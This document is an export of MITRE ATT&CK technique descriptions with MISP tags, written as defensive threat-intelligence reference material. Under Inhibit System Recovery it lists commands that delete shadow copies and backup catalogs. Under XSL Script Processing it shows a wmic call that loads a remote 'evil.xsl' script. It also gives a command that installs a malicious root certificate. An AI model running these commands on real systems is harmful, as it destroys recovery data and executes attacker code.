Adversaries may use [Patch System Image](<https://attack.mitre.org/techniques/T1601/001>) to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.

[Modify System Image](<https://attack.mitre.org/techniques/T1601>) may include implanted code to the operating system for network devices to provide access for adversaries using a specific password. The modification includes a specific password which is implanted in the operating system image via the patch. Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.(Citation: FireEye - Synful Knock)

## Hidden File System - T1564.005

Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)

Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)

## Security Support Provider - T1547.005

Adversaries may abuse security support providers (SSPs) to execute DLLs when the system boots. Windows SSP DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs.

The SSP configuration is stored in two Registry keys: `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` and `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages`. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the `AddSecurityPackage` Windows API function is called. (Citation: Graeber 2014)

## Run Virtual Instance - T1564.006

Adversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values. (Citation: SingHealth Breach Jan 2019)

Adversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system. (Citation: Sophos Ragnar May 2020)

## Netsh Helper DLL - T1546.007

Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. `Netsh.exe` (also referred to as `Netshell`) is a command-line scripting utility used to interact

with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. (Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at `HKLM\SOFTWARE\Microsoft\Netsh`.

Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality. (Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)

## Revert Cloud Instance - T1578.004

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.

Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)

## System Owner/User Discovery - T1033

Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](<https://attack.mitre.org/techniques/T1003>). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](<https://attack.mitre.org/techniques/T1033>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Utilities and commands that acquire this information include `whoami`. In Mac and Linux, the currently logged in user can be identified with `w` and `who`.

## Disguise Root/Jailbreak Indicators - T1408

An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed "su" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).

## Unused/Unsupported Cloud Regions - T1535

Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.

Cloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.

A variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity. For example, AWS GuardDuty is not supported in every region.(Citation: AWS Region Service Table)

An example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](<https://attack.mitre.org/techniques/T1496>), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)

## Search Open Websites/Domains - T1593

Before compromising a victim, adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)

Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](<https://attack.mitre.org/techniques/T1598>) or [Search Open Technical Databases](<https://attack.mitre.org/techniques/T1596>)), establishing operational resources (ex: [Establish Accounts](<https://attack.mitre.org/techniques/T1585>) or [Compromise Accounts](<https://attack.mitre.org/techniques/T1586>)), and/or initial access (ex: [External Remote Services](<https://attack.mitre.org/techniques/T1133>) or [Phishing](<https://attack.mitre.org/techniques/T1566>)).

## Winlogon Helper DLL - T1004

Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in `HKLM\Software\[Wow6432Node\]Microsoft\Windows NT\CurrentVersion\Winlogon\` and `HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\` are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013)

Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)

- Winlogon\Notify - points to notification package DLLs that handle Winlogon events
- Winlogon\Userinit - points to userinit.exe, the user initialization program executed when a user logs on
- Winlogon\Shell - points to explorer.exe, the system shell executed when a user logs on

Adversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.

## Modify System Partition - T1400

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.

Many Android devices provide the ability to unlock the bootloader for development purposes. An

unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify System Partition - T1400"*

## Compile After Delivery - T1500

Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1027>), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)

Source code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1193>). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)

## System Service Discovery - T1007

Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are "sc," "tasklist /svc" using [Tasklist](<https://attack.mitre.org/software/S0057>), and "net start" using [Net](<https://attack.mitre.org/software/S0039>), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](<https://attack.mitre.org/techniques/T1007>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007"*

Table 3296. Table References

## Taint Shared Content - T1080

Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.

A directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](<https://attack.mitre.org/techniques/T1547/009>) of directory .LNK files that use

[Masquerading](<https://attack.mitre.org/techniques/T1036>) to look like the real directories, which are hidden through [Hidden Files and Directories](<https://attack.mitre.org/techniques/T1564/001>). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)

Adversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.

## Security Support Provider - T1101

Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages` and `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\OSConfig\Security Packages`. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. (Citation: Graeber 2014)

## Password Policy Discovery - T1201

Adversaries may attempt to access detailed information about the password policy used within an enterprise network. Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](<https://attack.mitre.org/techniques/T1110>). This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as `net accounts (/domain)`, `Get-ADDefaultDomainPasswordPolicy`, `chage -l <username>`, `cat /etc/pam.d/common-password`, and `pwpolicy getaccountpolicies`. ## Install Root Certificate - T1130

Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses `/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert` to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)

## Modify Existing Service - T1031

Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](<https://attack.mitre.org/software/S0075>).

Adversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](<https://attack.mitre.org/techniques/T1036>) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.

Adversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)

## Modify System Image - T1601

Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.

The tag is: *misp-galaxy:mitre-attack-pattern="Modify System Image - T1601"*

## Application Deployment Software - T1017

Adversaries may deploy malicious software to systems within a network using application deployment systems employed by enterprise administrators. The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment.

Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Deployment Software - T1017"*

Application Deployment Software - T1017 has relationships with:

## Application Layer Protocol - T1071

Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.

Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.

The tag is: *misp-galaxy:mitre-attack-pattern="Application Layer Protocol - T1071"*

Table 3308. Table References

## Credentials in Files - T1081

Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](<https://attack.mitre.org/techniques/T1003>). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud environments, authenticated user credentials are often stored in local configuration and credential files. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files. (Citation: Specter Ops - Cloud Credential Storage)

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Files - T1081"*

Credentials in Files - T1081 has relationships with:

## Remote System Discovery - T1018

Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. Functionality could exist within remote access tools to enable this, but utilities available on the operating system could also be used such as [Ping](<https://attack.mitre.org/software/S0097>) or `net view` using [Net](<https://attack.mitre.org/software/S0039>). Adversaries may also use local host files (ex: `C:\Windows\System32\Drivers\etc\hosts` or `/etc/hosts`) in order to discover the hostname to IP address mappings of remote systems.

Specific to macOS, the `bonjour` protocol exists to discover additional Mac-based systems within the same broadcast domain.

The tag is: *misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018"*

Table 3310. Table References

## Indirect Command Execution - T1202

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters. Various Windows utilities may be used to execute commands, possibly without invoking [cmd](<https://attack.mitre.org/software/S0106>). For example, [Forfiles](<https://attack.mitre.org/software/S0193>), the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a [Command and Scripting Interpreter](<https://attack.mitre.org/techniques/T1059>), Run window, or via scripts. (Citation: VectorSec ForFiles Aug 2017) (Citation: Evi1cg Forfiles Nov 2017)

Adversaries may abuse these features for [Defense Evasion](<https://attack.mitre.org/tactics/TA0005>), specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of [cmd](<https://attack.mitre.org/software/S0106>) or file extensions more commonly associated with malicious payloads.

The tag is: *misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202"*

## XSL Script Processing - T1220

Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](<https://attack.mitre.org/techniques/T1127>), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

- `<code>msxsl.exe customers[.]xml script[.]xsl</code>`
- `<code>msxsl.exe script[.]xsl script[.]xsl</code>`
- `<code>msxsl.exe script[.]jpeg script[.]jpeg</code>`

Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047>) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](<https://attack.mitre.org/techniques/T1117>)/ “Squiblydoo” counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047>) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

- Local File: `<code>wmic process list /FORMAT:evil[.]xsl</code>`
- Remote File: `<code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code>`

## Standard Cryptographic Protocol - T1032

Adversaries may explicitly employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if necessary secret keys are encoded and/or generated within malware samples/configuration files.

## Custom Cryptographic Protocol - T1024

Adversaries may use a custom cryptographic protocol or algorithm to hide command and control traffic. A simple scheme, such as XOR-ing the plaintext with a fixed key, will produce a very weak ciphertext.

Custom encryption schemes may vary in sophistication. Analysis and reverse engineering of malware samples may be enough to discover the algorithm and encryption key used.

Some adversaries may also attempt to implement their own version of a well-known cryptographic algorithm instead of using a known implementation library, which may lead to unintentional errors. (Citation: F-Secure Cosmicduke)

## Domain Generation Algorithms - T1520

Adversaries may use [Domain Generation Algorithms](<https://attack.mitre.org/techniques/T1520>)

(DGAs) to procedurally generate domain names for command and control communication, and other uses such as malicious application distribution.(Citation: securelist rotexy 2018)

DGAs increase the difficulty for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520"*

## Parent PID Spoofing - T1502

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the `CreateProcess` API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via `svchost.exe` or `consent.exe`) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell]([Rundll32](https://attack.mitre.org/techniques/T1085) (<https://attack.mitre.org/techniques/T1085>) to be `explorer.exe` rather than an Office document delivered as part of [Spearphishing Attachment](<https://attack.mitre.org/techniques/T1193>).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via VBA [Scripting](<https://attack.mitre.org/techniques/T1064>) within a malicious Office document or any code that can perform [Execution through API](<https://attack.mitre.org/techniques/T1106>).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable [Privilege Escalation](<https://attack.mitre.org/tactics/TA0004>) (given appropriate access rights to the parent process). For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as `lsass.exe`), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

## Rogue Domain Controller - T1207

Adversaries may register a rogue Domain Controller to enable manipulation of Active Directory data. DCSshadow may be used to create a rogue Domain Controller (DC). DCSshadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a DC. (Citation: DCSshadow Blog) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide)

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCSshadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](<https://attack.mitre.org/techniques/T1178>) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCSshadow Blog)

## Software Deployment Tools - T1072

Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.).

Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform its intended purpose.

The tag is: *misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072"*

*Table 3319. Table References*

Links

<https://attack.mitre.org/techniques/T1072>

## System Information Discovery - T1082

An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from [System Information Discovery](<https://attack.mitre.org/techniques/T1082>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Tools such as [Systeminfo](<https://attack.mitre.org/software/S0096>) can be used to gather detailed system information. A breakdown of system data can also be gathered through the macOS `systemsetup` command, but it requires administrative privileges.

Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine.(Citation: Amazon Describe Instance)(Citation: Google Instances Resource)(Citation: Microsoft Virtual Machine API)

## Commonly Used Port - T1043

**This technique has been deprecated. Please use [Non-Standard Port](<https://attack.mitre.org/techniques/T1571>) where appropriate.**

Adversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as

- TCP:80 (HTTP)

- TCP:443 (HTTPS)
- TCP:25 (SMTP)
- TCP/UDP:53 (DNS)

They may use the protocol associated with the port or a completely different protocol.

For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are

- TCP/UDP:135 (RPC)
- TCP/UDP:22 (SSH)
- TCP/UDP:3389 (RDP)

The tag is: *misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043"*

## Security Software Discovery - T1063

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on the system. This may include things such as local firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](<https://attack.mitre.org/techniques/T1063>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

# Windows

Example commands that can be used to obtain security software information are [netsh](<https://attack.mitre.org/software/S0108>), `reg query` with [Reg](<https://attack.mitre.org/software/S0075>), `dir` with [cmd](<https://attack.mitre.org/software/S0106>), and [Tasklist](<https://attack.mitre.org/software/S0057>), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for.

# Mac

It's becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

The tag is: *misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1063"*

Security Software Discovery - T1063 has relationships with:

## Exploit TEE Vulnerability - T1405

A malicious app or other attack vector could be used to exploit vulnerabilities in code running within the Trusted Execution Environment (TEE) (Citation: Thomas-TrustZone). The adversary could then obtain privileges held by the TEE potentially including the ability to access cryptographic keys or other sensitive data (Citation: QualcommKeyMaster). Escalated operating system privileges may be first required in order to have the ability to attack the TEE (Citation: EkbergTEE). If not, privileges within the TEE can potentially be used to exploit the operating system (Citation: luginimaineb-TEE).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit TEE Vulnerability - T1405"*

## Network Service Scanning - T1046

Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system.

Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.

The tag is: *misp-galaxy:mitre-attack-pattern="Network Service Scanning - T1046"*

Table 3328. Table References

Links
<a href="https://attack.mitre.org/techniques/T1046">https://attack.mitre.org/techniques/T1046</a>

## Windows Management Instrumentation - T1047

Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)

An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"*

## Inhibit System Recovery - T1490

Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017) Operating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of [Data Destruction](<https://attack.mitre.org/techniques/T1485>) and [Data Encrypted for Impact](<https://attack.mitre.org/techniques/T1486>).(Citation: Talos Olympic Destroyer 2018)(Citation: FireEye WannaCry 2017)

A number of native Windows utilities have been used by adversaries to disable or delete system recovery features:

- `vssadmin.exe` can be used to delete all volume shadow copies on a system - `vssadmin.exe delete shadows /all /quiet`
- [Windows Management Instrumentation](<https://attack.mitre.org/techniques/T1047>) can be

used to delete volume shadow copies - `wmic shadowcopy delete`

- `wbadmin.exe` can be used to delete the Windows Backup Catalog - `wbadmin.exe delete catalog -quiet`
- `bcdedit.exe` can be used to disable automatic Windows recovery features by modifying boot configuration data - `bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no`

## Archive Collected Data - T1560

An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.

Both compression and encryption are done prior to exfiltration, and can be performed using a utility, 3rd party library, or custom method.

The tag is: *misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560"*

<a href="https://attack.mitre.org/techniques/T1560">https://attack.mitre.org/techniques/T1560</a>

## Web Session Cookie - T1506

Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie)

Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](<https://attack.mitre.org/techniques/T1539>), the adversary then imports the cookie into a browser they control and is able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform.

